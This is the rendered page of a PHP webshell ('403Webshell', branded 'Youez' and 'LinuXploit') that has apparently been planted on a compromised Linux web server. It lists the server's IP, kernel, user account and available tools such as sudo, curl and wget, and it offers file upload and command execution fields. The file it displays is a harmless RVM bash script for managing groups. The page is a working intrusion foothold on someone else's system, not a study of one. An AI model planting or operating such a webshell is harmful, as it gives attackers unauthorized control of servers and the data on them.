403Webshell
Server IP : 164.138.27.172  /  Your IP : 216.73.216.143
Web Server : nginx/1.27.4
System : Linux cookingdream 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : www-adm ( 1001)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/jonasn/.rvm/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/jonasn/.rvm/scripts/group
#!/usr/bin/env bash

source "$rvm_scripts_path/base"
source "$rvm_scripts_path/functions/group"
source "$rvm_scripts_path/functions/utility"
source "$rvm_scripts_path/functions/version"

group_add()
{
  \typeset user group
  group="$1"
  shift
  for user in "$@"
  do
    if
      __rvm_is_user_in_group "$group" "$user"
    then
      echo "User '$user' already in the group '$group'"
    else
      echo "Adding user '$user' to the group '$group'"
      __rvm_add_user_to_group "$group" "$user"
    fi
  done
}

group_create()
{
  \typeset -a _params
  _params=( "${1:-$rvm_group_name}" )
  shift
  if
    (( $# ))
  then
    _params+=( "$1" )
  else
    if [[ "$1" == "${rvm_group_name}" && -n "${rvm_group_id:-}" ]]
    then _params+=( "${rvm_group_id:-}" )
    fi
  fi
  __rvm_create_group "${_params[@]}"
}

action="$1"
shift

true "${rvm_group_name:=rvm}"

case "$action" in
  add|create|help)
    group_$action "$@"
    ;;
  *)
    rvm_help group "$@"
    false
    ;;
esac

Youez - 2016 - github.com/yon3zu
LinuXploit